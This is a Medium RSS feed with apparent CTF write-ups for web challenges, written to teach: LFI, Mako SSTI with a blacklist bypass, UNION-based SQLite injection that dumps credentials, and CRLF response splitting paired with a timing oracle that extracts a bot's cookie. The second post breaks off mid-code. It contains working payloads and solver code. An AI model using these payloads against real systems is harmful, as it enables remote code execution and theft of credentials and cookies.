<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by db1M on Medium]]></title>
        <description><![CDATA[Stories by db1M on Medium]]></description>
        <link>https://medium.com/@db1M?source=rss-9f4e7f83a72e------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*X_8MnycbIiRN5lQdYkkvnw.jpeg</url>
            <title>Stories by db1M on Medium</title>
            <link>https://medium.com/@db1M?source=rss-9f4e7f83a72e------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Thu, 03 Dec 2026 13:30:57 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@db1M/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Write-Ups for challenges I created at CAT CTF 26 — Entry Level]]></title>
            <link>https://medium.com/@db1M/write-ups-for-challenges-i-created-at-cat-ctf-26-entry-level-7bcfc745956e?source=rss-9f4e7f83a72e------2</link>
            <guid isPermaLink="false">https://medium.com/p/7bcfc745956e</guid>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[db1M]]></dc:creator>
            <pubDate>Mon, 23 Mar 2026 19:51:41 GMT</pubDate>
            <atom:updated>2026-03-23T19:51:41.149Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*j2s5MtJj5h2Bz2M3cMuRZw.png" /></figure><p>Hello everyone, this is my first time being an author for a CTF competition. I created 6 web challenges, one misc challenge, and one Linux jail. It was a very exciting experience for me to have this opportunity.</p><p>Let’s go and see how to solve the most important web challenges.</p><h3>Admin Jokes</h3><p>Disc: Admin is a wise man; he doesn’t say silly jokes.</p><p><strong>The intended chain of the challenge:</strong></p><ol><li>Find and use the LFI in /jokes.</li><li>Read the application source to discover the important endpoint and sink.</li><li>Exploit the Mako SSTI in /admin/profile.</li><li>Use code execution to run the setuid helper and print the real flag.</li></ol><p>After opening the challenge you will get this dashboard:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*toMGHNA1RG-QXn3honbuvw.png" /></figure><p>After navigate to the jokes you will see some really jokes but each of them give small hints for you:</p><blockquote>Joke 3<br>I asked the server what its favorite hobbies were. It said, I can’t tell you, those are <strong>private variables</strong>.</blockquote><blockquote>Joke 4<br>What’s a hacker’s favorite type of music?<br>Heavy metal… because they love breaking into <strong>systems</strong>!</blockquote><blockquote>Joke 5 <br>A programmer&#39;s favorite place to hide secrets?<br>In the <strong>environment</strong>! You can&#39;t see them, but they&#39;re always there.</blockquote><p>Some hints like <strong>environment, private variables, and systems </strong>may give clues about the env variables.</p><p>Let’s exploit the LFI then:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ILCnyq3pqNT6BzJjFqyyNw.png" /></figure><p>This confirms the existence of LFI vuln, if you search about a flag you will get:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BFJBsHK2-FJnKdbsINhpUw.png" /></figure><p>Now search about the source code. There many ways to get the source code but the intended is /system/app.py then you will get the source code:</p><p><strong>The core bug is effectively:</strong></p><pre>file_path = f&quot;{JOKES_DIR}/{joke_id}&quot;</pre><p>There is no normalization or sanitization, so ../traversal works.</p><pre>Joke<br>&quot;&quot;&quot;<br>Admin Profile Preview Module<br><br>This module handles admin profile previews with Mako templates.<br>Security: Input validation applied before template rendering.<br><br>Note: Some dangerous functions are filtered for security.<br>&quot;&quot;&quot;<br><br>from flask import request, Response<br>from mako.template import Template<br><br><br>def render_profile(name):<br>    &quot;&quot;&quot;<br>    Renders admin profile using Mako template engine.<br>    <br>    Security measures:<br>    - Input sanitization applied<br>    - Blacklist filter for dangerous keywords<br>    - Direct template rendering (fast performance)<br>    <br>    Known filtered terms include things like:<br>    - System-level operations<br>    - Code evaluation functions  <br>    - Module import mechanisms<br>    - Process execution calls<br>    &quot;&quot;&quot;<br>    <br>    # Security filter applied here<br>    lowered = name.lower()<br>    <br>    # Filter implementation (exact terms not shown for security)<br>    # ... blacklist checking logic ...<br>    <br>    template = Template(f&quot;<br>Admin Profile<br>Welcome, {name}<br><br>&quot;)<br>    return template.render()<br><br><br># Exposed endpoint:<br># GET /admin/profile?name=<br><br>Back to Home</pre><p>The source code show that:</p><pre>template = Template(f&quot;&lt;h2&gt;Admin Profile&lt;/h2&gt;&lt;p&gt;Welcome, {name}&lt;/p&gt;&quot;)<br>return template.render()</pre><p>That means the <strong>name </strong>parameter is a server-side template injection sink.</p><p>And the source also show there are some filters or blacklist so the target is:</p><p>1. Reach /admin/profile.<br>2. Use <strong>Mako </strong>expression syntax.<br>3. Bypass the weak blacklist.</p><p>You’ll get an endpoint /admin/profile?name=</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LiROwH0xww2WFusDcOoidQ.png" /></figure><p><strong>Confirm the SSTI</strong></p><p>Mako expressions use ${…}.</p><p>A quick test: /admin/profile?name=${7*7}<br>you will get → Welcome, 49 , So SSTI is confirmed.</p><p><strong>Bypass the blacklist</strong></p><p>The blacklist is only doing a lowercase substring check on the raw input. It does not understand Python expressions.</p><p>That means blocked words can be split into pieces and <strong>concatenated </strong>at runtime.</p><p>For example, this avoids the literal string <strong>subprocess</strong>:</p><pre>__import__(&#39;su&#39;+&#39;bpro&#39;+&#39;cess&#39;)</pre><p>A working proof-of-execution payload is:</p><pre>${__import__(&#39;su&#39;+&#39;bpro&#39;+&#39;cess&#39;).check_output([&#39;id&#39;]).decode()}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_9P96LD7FUm2jDi3SX_64Q.png" /></figure><p>Note: There are many ways to bypass the filters and the concatenation is just one of them.</p><p>After confirming the exploit of SSTI, we should search about the flag, so using ls is helpful to list all files and directories:</p><pre>${__import__(&#39;su&#39;+&#39;bpro&#39;+&#39;cess&#39;).check_output([&#39;ls&#39;,&#39;-la&#39;,&#39;/&#39;]).decode()}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KbdnZ8iLujnICNt8plMToQ.png" /></figure><p>The flag in <strong>readflagbinary </strong>so let’s read it:</p><pre>${__import__(&#39;su&#39;+&#39;bpro&#39;+&#39;cess&#39;).check_output([&#39;/readflagbinary&#39;]).decode()}</pre><blockquote>Your flag is : <strong>CATF{Mak0_LF1_2_SSTI_Adm1n_J0k3s_Pwn3d_9f4e2b7c}</strong></blockquote><h3>Forest Secrets</h3><p>A web challenge disguised as a terminal-style story game.</p><p>At first glance, the player only sees four visible choices at each stage of the story. The real trick is that one important piece of information is not exposed through a normal <strong>GET</strong> request. The intended solve is to reach the gate, notice the clue, inspect how the web app communicates, and then use a different HTTP method to recover the hidden command.</p><p><strong>What the Challenge Is Testing<br></strong>This challenge is mainly about:</p><ul><li>Basic web recon</li><li>Understanding that endpoints may behave differently depending on the HTTP method</li><li>checking headers, not just response bodies</li></ul><p>When you open the challenge, you’ll get a terminal-like interface with a story and 4 options to do:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hiYxzN6NliiFgbmKRX_dZQ.png" /></figure><p>After you burn some time check the 4 options you will know the right path to follow is:</p><p>HEAD TOWARD THE LANTERN LIGHT → ENTER THE ABANDONED SHRINE → READ THE CARVED TABLET → OPEN THE IRON GATE <br>You will get an important thing:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1aBd-Bwv5w_MCoM-Rx5_qg.png" /></figure><p>WHAT IS THE SECRET COMMAND ?</p><p>Our mission now is to search for this command, if you see the request in burp</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iAL1iMOUNKQvgfb_Z0r3JA.png" /></figure><p>There are the options and none of them is the secret. If you read the source code you won’t see any thing important too, but if you see the robots.txt you will see this hint:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mjXZfuZ94XYpir9OTl6C-w.png" /></figure><p>This leads you to manipulate the HTTP methods you know like GET, POST, PUT, HEAD, OPTIONS,..ect in the burp:</p><p>If you tried them one by one you will get the secret by using <strong>OPTIONS:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bfOKRoiVdWyPfVBWf8HT9w.png" /></figure><p>So the secret is <strong>ASK THE FOREST FOR A FIFTH PATH.</strong> If you send it only in the stage 4 you will get the flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0VZFhmf55buu6-ZeUhnRpA.png" /></figure><h3>Paper Tail</h3><p>This challenge is a good example of why “normal-looking search” pages are worth testing carefully. From the outside, we only get a small blog-style site, a search bar, and an <strong>/admin</strong> login page. The full solve path is:</p><ol><li>Recon the public routes.</li><li>Prove /search is injectable with UNION SELECT.</li><li>Find the correct column count.</li><li>Enumerate the SQLite schema.</li><li>Dump five useful tables.</li><li>Recover admin credentials and the hidden export path.</li><li>Log in, pull the PDF export, and read the flag from PDF metadata.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bbrpq12MH9L5FHqEumPB3g.png" /></figure><p>This is the landing dashboard. We have a blog search function</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HIJDWbCOcC5ioIJooCOaqg.png" /></figure><p>If you look for robots.txt you will see we have an admin endpoint too and you need to log in:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mCTuvdIQPqVpkgUahaHP2w.png" /></figure><p>If you tried SQLin in the login page you won’t get anything, but let’s check if the search functionality is vulnerable or not:</p><p>If you tried boolean based like 0&#39; OR 1=1-- you will see it’s not vulnerable, but if you tried UNION BASED like: 0&#39; UNION SELECT NULL-- you will an error and this a PoC of vulnerability existence.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xfkIwNmK50W15EaAk3ZNHQ.png" /></figure><p>You will add each time a new NULL till you get <strong>200 OK </strong>when writing 5 times which show that there are 5 columns:<br>0&#39; UNION SELECT NULL,NULL,NULL,NULL,NULL --</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BIG3BG5rAd-hwT8_46ioJA.png" /></figure><p>Because I make a blog that talks about SQL LITE master, the first thing you should try is to ensure that the database is SQL LITE or not so let’s try: <br>0&#39; UNION ALL SELECT 1,name,sql,4,5 FROM sqlite_master WHERE type=’table’ —</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HO9lINQUcTgw-mCWSVYJ9w.png" /></figure><p>This dumps the database tables and its columns names. These tables our target:</p><blockquote><strong>inv_9f2e_catalog<br>img_14ad_assets<br>migr_71c9_principals<br>cfg_f201_panels<br>sess_8c1d_store<br>audit_b55c_log<br>docs_4a3e_legacy</strong></blockquote><p>At this point, I do not need every table to solve the challenge. The best attacker mindset here is:</p><ul><li><strong>migr_* </strong>probably contains credentials.</li><li><strong>docs_*</strong> probably contains references, files, or internal paths.</li><li><strong>cfg_* </strong>can reveal routes and feature names.</li><li><strong>audit_*</strong> can hint at internal workflows.</li><li><strong>img_*</strong> is probably noise, but it is still useful to confirm the data model.</li></ul><p><strong>Table 1: migr_71c9_principals</strong></p><p>This is the first table I would dump because the admin login page already hinted at a legacy import flow.</p><p>Payload:</p><pre>0&#39; UNION ALL SELECT principal_id,handle,secret_material||&#39; | tier=&#39;||policy_tier||&#39; | enabled=&#39;||enabled,4,5 FROM migr_71c9_principals - &quot;</pre><p>- warehouse -&gt; st0ck-sync-2024 | tier=user | enabled=1<br>- support -&gt; t1cket-queue-bot | tier=user | enabled=1<br>- auditbot -&gt; cron$service#88 | tier=svc | enabled=1<br>- admin -&gt; yR7!q1_profile@pack | tier=admin | enabled=1</p><p>You can get the admin credentials only if you know there is a user called admin using this payload:</p><pre>0&#39; union select principal_id,handle,secret_material,policy_tier,null from migr_71c9_principals where policy_tier=&#39;admin&#39; -</pre><p>So we got → admin:yR7!q1_profile@pack</p><p><strong>Table 2: docs_4a3e_legacy</strong></p><p>This is the next table to dump because document references often lead to downloads or exports.</p><p>Payload:</p><pre>0&#39; UNION ALL SELECT doc_id,doc_ref,storage_path||&#39; | owner=&#39;||owner_handle,4,5 FROM docs_4a3e_legacy --</pre><p>legacy-profile-pack-8f3d -&gt; /admin/profile/export?ref=legacy-profile-pack-8f3d | owner=admin</p><p>This is already enough to suspect the final stage:</p><p>- There is an authenticated export route<br>- It takes a ref parameter<br>- The interesting object belongs to <strong>admin</strong></p><p><strong>Table 3: cfg_f201_panels</strong></p><p>Payload:</p><pre>0&#39; UNION ALL SELECT panel_id,panel_name,route_name||&#39; | hidden=&#39;||is_hidden,4,5 FROM cfg_f201_panels --</pre><p>#1 overview -&gt; /admin/profile | hidden=0<br>#2 sessions -&gt; /admin/profile | hidden=0<br>#3 preferences -&gt; /admin/profile | hidden=0<br>#4 api-keys -&gt; /admin/profile/api-keys | hidden=1<br>#5 history -&gt; /admin/profile/history | hidden=1</p><p>This confirms that/admin/profile is the main post-login target and that there are hidden routes behind the admin UI.</p><p><strong>Table 4: audit_b55c_log</strong></p><p>Audit logs are not always directly useful, but here they tell us which internal workflow matters.</p><p>Payload:</p><pre>0&#39; UNION ALL SELECT audit_id,event_name,COALESCE(actor_handle,&#39;&#39;)||&#39; | &#39;||created_at,4,5 FROM audit_b55c_log --</pre><p>#1 EXPORT_PIPELINE_BOOT -&gt; auditbot | 2026–03–23T02:09:41.933Z<br>#2 PANEL_INDEX_REFRESH -&gt; auditbot | 2026–03–23T02:09:41.933Z</p><p><strong>Table 5: img_14ad_assets</strong></p><p>This one is mostly a sanity check. It is not needed for the final solve, but it shows the SQLi really does let us read arbitrary tables.</p><p>Payload:</p><pre>0&#39; UNION ALL SELECT asset_id,storage_key,&#39;product=&#39;||product_id||&#39; | alt=&#39;||alt_text,4,5 FROM img_14ad_assets -</pre><p>#1 hero/papertail-gradient -&gt; product=1 | alt=Paper Tail cover art<br>#2 thumbs/blog-index -&gt; product=2 | alt=Blog index thumbnail</p><p>Now we have the all content of the database, the remain steps are:</p><ul><li>Login with the admin credentials</li><li>Go to the path we found in docs table</li></ul><p>Logging successfully</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Q1ORV84ngsCJY3ItjACQ9g.png" /></figure><p>After going to the path<br>/admin/profile/export?ref=legacy-profile-pack-8f3d there is a PDF downloaded.</p><p>To see its meta data you need to use exiftool command:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/943/1*iUgWKr-TSVBLZA6u5Edpkw.png" /></figure><p>Some encoded strings:<br>Author : Q0FURntQNFAzcl90cjQxbF8=<br>Subject : dGhyMHVnSF9TUUxpbl9CeV9kYjFNfQ==</p><p>After decode them you will get the flag:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/924/1*i4NFyD4yFLQ0daX7jMCzgg.png" /></figure><blockquote>CATF{P4P3r_tr41l_thr0ugH_SQLin_By_db1M}</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7bcfc745956e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[No Notes CRLF Challenge | Hackena Ramadan CTF]]></title>
            <link>https://medium.com/@db1M/no-notes-crlf-challenge-hackena-ramadan-ctf-d68c8cdd25ee?source=rss-9f4e7f83a72e------2</link>
            <guid isPermaLink="false">https://medium.com/p/d68c8cdd25ee</guid>
            <category><![CDATA[crlf-injection]]></category>
            <category><![CDATA[xss-attack]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[db1M]]></dc:creator>
            <pubDate>Sat, 14 Mar 2026 02:02:58 GMT</pubDate>
            <atom:updated>2026-03-14T02:02:58.009Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*BBTjlMLcj4-mZrrk" /></figure><blockquote>How I exploited HTTP response splitting to steal cookies from an isolated bot using only time measurements</blockquote><h4><strong>The Challenge That Said “No”</strong></h4><p>When I first landed on the <strong>No Notes hehe </strong>challenge, I was greeted with a peculiar message:</p><p>&gt; “Welcome to the secure notes application. We take security very seriously. After discovering XSS vulnerabilities, we have disabled the dynamic notes feature.”</p><p>The landing page linked to a single static file: /view/note.txt?name=note.txt. That was it. No forms, no inputs, no obvious attack surface. Just a long-winded text file explaining why the developers decided to remove all features to achieve “perfect security.”</p><p>I started by reading the bot code provided to understand what is going on:</p><pre>const playwright = require(&#39;playwright&#39;);<br>const express = require(&#39;express&#39;);<br><br>const app = express();<br>app.use(express.json());<br><br>const PORT = 3000;<br>const FLAG = process.env.FLAG || &quot;Hackena{test_flag_123}&quot;;<br>const TARGET_DOMAIN = process.env.TARGET_DOMAIN || &quot;localhost&quot;; // web-nonotes:5001<br><br>async function visit(url) {<br>    let browser = null;<br>    try {<br>        console.log(`Visiting ${url}`);<br>        browser = await playwright.chromium.launch({<br>            args: [&#39;--no-sandbox&#39;, &#39;--disable-setuid-sandbox&#39;]<br>        });<br>        const context = await browser.newContext();<br><br>        const cookie = {<br>            name: &#39;flag&#39;,<br>            value: FLAG,<br>            domain: TARGET_DOMAIN,<br>            path: &#39;/&#39;,<br>            httpOnly: false,<br>            secure: false,<br>            sameSite: &#39;Lax&#39;<br>        };<br><br>        await context.addCookies([cookie]);<br><br>        const page = await context.newPage();<br>        await page.goto(url, { waitUntil: &#39;domcontentloaded&#39;, timeout: 7000 });<br>        await page.waitForLoadState(&#39;networkidle&#39;, { timeout: 7000 }).catch(() =&gt; {});<br>        await page.waitForTimeout(1000);<br>        await browser.close();<br>        console.log(`Visited ${url}`);<br>    } catch (e) {<br>        console.log(`Error visiting ${url}: ${e.message}`);<br>        if (browser) await browser.close();<br>    }<br>}<br><br>app.post(&#39;/visit&#39;, async (req, res) =&gt; {<br>    const url = req.body.url;<br>    if (!url) {<br>        return res.status(400).send(&#39;Missing url&#39;);<br>    }<br><br>    if (!url.startsWith(&#39;http&#39;)) {<br>        return res.status(400).send(&#39;Invalid URL protocol&#39;);<br>    }<br><br>    await visit(url);<br>    res.send(&#39;done&#39;);<br>});<br><br>app.listen(PORT, () =&gt; {<br>    console.log(`Bot listening on port ${PORT}`);<br>});</pre><p><strong>Bot Visit Function</strong></p><pre>async function visit(url) {<br>    let browser = null;<br>    try {<br>        console.log(`Visiting ${url}`);<br>        browser = await playwright.chromium.launch({<br>            args: [&#39;--no-sandbox&#39;, &#39;--disable-setuid-sandbox&#39;]<br>        });<br>        const context = await browser.newContext();</pre><p>The bot uses Playwright Chromium to visit attacker-controlled URLs.</p><p><strong>Cookie Injection</strong></p><pre>const cookie = {<br>    name: &#39;flag&#39;,<br>    value: FLAG,<br>    domain: TARGET_DOMAIN,<br>    path: &#39;/&#39;,<br>    httpOnly: false,    // ← JavaScript can read this!<br>    secure: false,<br>    sameSite: &#39;Lax&#39;<br>};<br><br>await context.addCookies([cookie]);</pre><p><strong>Key Findings:</strong></p><ul><li>Cookie name is flag containing the actual flag value.</li><li>httpOnly: false means JavaScript can access it via document.cookie</li><li>TARGET_DOMAIN is environment-controlled (affects which origin sees the cookie)</li><li>sameSite: &#39;Lax&#39; prevents the cookie from being sent on cross-site subrequests (like images or frames), but it is sent when the user navigates to the target site.</li></ul><p><strong>Bot Timing Behavior</strong></p><pre>const page = await context.newPage();<br>await page.goto(url, { waitUntil: &#39;domcontentloaded&#39;, timeout: 7000 });<br>await page.waitForLoadState(&#39;networkidle&#39;, { timeout: 7000 }).catch(() =&gt; {});<br>await page.waitForTimeout(1000);<br>await browser.close();</pre><ul><li>The bot navigates to your provided URL and waits until the basic HTML is parsed (domcontentloaded). It has a <strong>7-second</strong> hard limit.</li><li>If your page is slow or contains a script that hangs the parser, the bot will sit here for the full 7 seconds before moving to the next line.</li><li>The bot waits until there are no more active network requests (images, scripts, API calls) for at least 500ms. Again, it has a <strong>7-second</strong> timeout. The .catch(() =&gt; {}) ensures that even if the network never goes quiet, the script doesn&#39;t crash; it just moves on.</li><li>This is a goldmine for <strong>Side-Channel Timing Attacks</strong>. By forcing the bot to make many slow network requests (e.g., requesting a non-existent image 1,000 times), an attacker can reliably keep the bot “busy” for the full 7 seconds.</li></ul><pre>await page.waitForTimeout(1000);<br>await browser.close();</pre><ul><li>A forced 1-second pause before the browser instance is destroyed.</li><li>This ensures any final JavaScript execution (like a fetch sending the flag to your server) has a moment to complete before the &quot;victim&quot; disappears.</li></ul><p>After understanding the bot code clearly I decided to observe the request and the response for the /view/note.txt?name=note.txt endpoint on the burp:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FT6ENDo_Ciqy1mz13qiapQ.png" /></figure><p>I noticed some important headers:</p><ul><li>Content-Disposition: inline; filename=&quot;note.txt&quot;</li><li>Content-Type: text/plain; charset=utf-8</li><li>Content-Security-Policy: default-src &#39;none&#39;; script-src &#39;self&#39;; style-src &#39;self&#39;;</li></ul><p>There is an important thing I noticed the filename parameter comes from the name parameter and no sanitization visiable. Hmm <strong>User input in a response header? </strong>this is a huge proof about <strong>CRLF Injection</strong> existence.</p><h4><strong>What’s CRLF Injection?</strong></h4><p>CRLF stands for Carriage Return (\r, %0D) and Line Feed (\n,%0A) — the special characters that separate HTTP headers. If an application puts untrusted input into a header without sanitization, an attacker can inject new headers or even control the response body entirely.</p><p>Come back here! let’s ensure we are right, let me inject this<br> ?name=%22%0D%0AX-Pwned:%20true%0D%0A :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/763/1*coqpFQnHxvqRtLH03pUmIQ.png" /></figure><p>hehehe PWNED. The server was blindly placing my input into the header. Now the question became: <strong><em>How far can I push this?</em></strong></p><h4><strong>Response Splitting: Taking Full Control</strong></h4><p>A <strong>CRLF injection</strong> becomes truly dangerous when you can inject not just headers, but an entirely new response body. The trick is using <strong>Transfer-Encoding: chunked</strong>.</p><p>HTTP chunked encoding lets you specify the exact size of your content, then terminate the response. Anything after your chunk — like the original <strong>note.txt </strong>file — gets ignored by the browser.</p><p>We want to take full control of the browser to execute malicious code like steal a cookie, because XSS payloads are filtered, we use the response splitting technique.</p><p>Let’s build a test payload:</p><pre>name=&quot;%0D%0ATransfer-Encoding: chunked%0D%0AContent-Type: text/html%0D%0A%0D%0A3%0D%0Aabc%0D%0A0%0D%0A%0D%0A</pre><p>Payload Structure:</p><ul><li>%0D%0A —&gt; \r\n → Close the Content-Disposition header.</li><li>Inject Transfer-Encoding: chunked</li><li>Change Content-Type to text/html</li><li>%0D%0A — Empty line (end of headers)</li><li>3 — Chunk size: 3 bytes</li><li>abc — The actual HTML/JS content</li><li>0 — Terminating chunk (signals end of response)</li></ul><p>Let’s see if it works:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yX5Rn8F4PwGRJhtJ9YWovA.png" /></figure><p>Done I could print the <strong>abc </strong>as a HTML. If you stuck why I write this specific structure of the payload and how this request handled by the browser:</p><p>Think of the browser like a person reading a script.</p><ul><li><strong>The Hijack:</strong> Normally, the browser waits for the server to finish sending the whole file. But because you injected Transfer-Encoding: chunked, the browser stops looking at the total size and starts reading <strong>chunks</strong>.</li><li><strong>The Execution:</strong> Since you changed the Content-Type to text/html, the browser doesn&#39;t download a file—it opens a page. It reads your 3 bytes of abc (or your JS payload) and executes it immediately.</li><li><strong>The Clean Exit (The 0):</strong> This is the best part. The browser sees that 0 and thinks, <strong><em>the server is finished! I’ll stop reading now</em></strong><em>.</em>It completely ignores the rest of the real file that the server tries to send.</li></ul><p>Now let’s try making an alert using →</p><p><a href="http://target.com/view/note.txt?name=%0D%0AContent-Type:">http://target.com/view/note.txt?name=%0D%0AContent-Type:</a> text/html%0D%0A%0D%0A&lt;script&gt;alert(document.cookie)&lt;/script&gt;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zk2f1P4Nv4ixQbYN82SGXQ.png" /></figure><p>Wait what ?! why this not working. I will take a look again in the response.<br>I remember there CSP header in the response I noticed:<br>Content-Security-Policy: default-src &#39;none&#39;; script-src &#39;self&#39;; style-src &#39;self&#39;;</p><p>That means:</p><ul><li>Can’t load external resources.</li><li>Can’t use inline JavaScript.</li><li><strong>Can </strong>load scripts from same origin (self).</li></ul><p>So I’m injecting the response from the same domain, doesn’t that count as &#39;self&#39; ?</p><h4><strong>The Two-Stage Attack</strong></h4><p>This is where it got creative. I needed to chain two CRLF injections:</p><p><strong>Stage 1:</strong> Inject an HTML page</p><pre>&lt;html&gt;&lt;body&gt;<br>&lt;script src=&quot;/view/note.txt?name=[CRLF-PAYLOAD-2]&quot;&gt;&lt;/script&gt;<br>&lt;/body&gt;&lt;/html&gt;</pre><p><strong>Stage 2:</strong>Make that script src URL return JavaScript instead of text</p><pre>// My malicious JavaScript here<br>document.cookie // Flag is here!</pre><p>Because both responses come from the same origin, CSP’s script-src &#39;self&#39; allows the execution. Now we know how will be our attack chain look like.</p><p><strong>Diving to the bot and the flag stage</strong></p><p>The challenge provided a /report endpoint where you could submit URLs for a bot to visit. Looking at the bot source code:</p><pre>const cookie = {<br>    name: &#39;flag&#39;,<br>    value: FLAG,<br>    domain: TARGET_DOMAIN,<br>    httpOnly: false,    // ← Not HttpOnly! JS can read it<br>    secure: false,<br>    sameSite: &#39;Lax&#39;<br>};<br><br>await context.addCookies([cookie]);<br>await page.goto(url, { waitUntil: &#39;domcontentloaded&#39;, timeout: 7000 });</pre><p>The flag was stored as a cookie. Good news: httpOnly: false means JavaScript can access it via document.cookie.</p><p>But here’s the catch: <strong>the bot has no internet access</strong>. The challenge description explicitly stated this. So even though I could execute JavaScript in the bot’s context, I couldn’t just fetch() the cookie to my server.</p><p><strong>The Timing Oracle</strong></p><p>If I can’t send data out directly, maybe I can encode information in <strong>time</strong>. The idea is simple but powerful:</p><pre>if (document.cookie.length &gt; 50) {<br>    // Busy-loop for 6 seconds<br>    var start = Date.now();<br>    while(Date.now() - start &lt; 6000) {}<br>}</pre><p>When I submit this to /report, I can measure how long the bot takes to respond:</p><ul><li><strong>If the condition is true: </strong>Bot blocks for 6 seconds → response takes ~7–8s</li><li><strong>If the condition is false: </strong>Bot returns quickly → response takes ~1–2s</li></ul><p>This is called a <strong>timing side-channel</strong>. By asking yes/no questions about the cookie, I can extract it one bit at a time.</p><p>To find the cookie length we can use the <strong>binary search technique</strong>:</p><pre>def get_cookie_length(base):<br>    lo, hi = 1, 200<br>    while lo &lt; hi:<br>        mid = (lo + hi + 1) // 2<br>        # Test: is length &gt;= mid?<br>        ok, elapsed = oracle(f&#39;document.cookie.length&gt;={mid}&#39;, base)<br>        if ok:<br>            lo = mid<br>        else:<br>            hi = mid - 1<br>    return lo</pre><p>Each oracle call takes 6–8 seconds, but binary search means I only need ~8 queries to find a length between 1–200.</p><h4>Character Extraction</h4><p>I would extract the characters by the same way (binary search) but it took too much time and hanged the sever so I asked Claude to optimize the code.</p><pre># Stage 1: Binary search (3-4 queries)<br>while hi - lo &gt; 23:<br>    mid = (lo + hi) // 2<br>    ok = oracle(f&#39;document.cookie.charCodeAt({pos})&gt;{mid}&#39;, base)<br>    if ok: lo = mid + 1<br>    else: hi = mid<br><br># Stage 2: Parallel equality (5 workers, ~5s per char)<br>candidates = [c for c in &quot;abcdefg...xyz0123...&quot; if lo &lt;= ord(c) &lt;= hi]<br>results = oracle_parallel_batch([<br>    f&#39;document.cookie.charCodeAt({pos})=={ord(c)}&#39; <br>    for c in candidates<br>], base)</pre><p>Standard binary search was too slow and put too much stress on the server, so I switched to a <strong>hybrid approach</strong> to speed up the flag extraction:</p><ul><li><strong>The Bracket (Binary Search):</strong> First, I used binary search to “zoom in” on the character. Instead of checking every possibility, I asked the bot a few “Higher or Lower?” questions. This quickly narrowed each character down from 128 possibilities to a tiny “bracket” of about 20 candidates.</li><li><strong>The Blast (Parallel Testing):</strong> Once the range was small enough, I stopped the binary search and tested all remaining candidates at once. By sending these requests in parallel, I didn’t have to wait for them one by one.</li><li><strong>The Result:</strong> I simply looked for the <strong>“Slowest Response.”</strong> The one request that triggered the 7-second delay told me exactly which character was correct, while the wrong guesses finished almost instantly.</li></ul><h4>The Final attack Chain</h4><p>The final exploit flow:</p><p>1. <strong>Verify</strong> server accepts CRLF injection (no bot needed).</p><p>2. <strong>Test </strong>JavaScript execution with making an alert.</p><p>3. <strong>Find</strong> which domain/origin has the cookie</p><p>4. <strong>Extract </strong>cookie length using binary search (~8 queries)</p><p>5. <strong>Extract </strong>each character using hybrid method (~50 seconds per char)</p><h4>The Solver Build</h4><p><strong>Configuration</strong></p><p>Key constants that control the exploit:</p><pre>REPORT        = &#39;https://web-nonotes.hackena-labs.com/report&#39;<br>EXTERNAL_BASE = &#39;https://web-nonotes.hackena-labs.com&#39;<br>INTERNAL_BASE = &#39;http://web-nonotes:5001&#39;<br>LOCALHOST     = &#39;http://localhost:5001&#39;<br>ORACLE_DELAY  = 6       # seconds JS blocks when condition is TRUE<br>THRESHOLD     = 4       # seconds to distinguish TRUE (&gt;4s) vs FALSE (&lt;4s)<br>BOT_UP_THRESH = 1.5     # seconds; bot is UP when any URL takes longer than this</pre><p><strong>URL Builders</strong></p><p><strong>Stage 2: JavaScript Response Builder</strong></p><pre>def build_stage2(js_code):<br>    &quot;&quot;&quot;<br>    Build the Stage 2 CRLF-injection URL.<br>    Injects: Transfer-Encoding: chunked + Content-Type: application/javascript<br>    Body: exactly js_code bytes 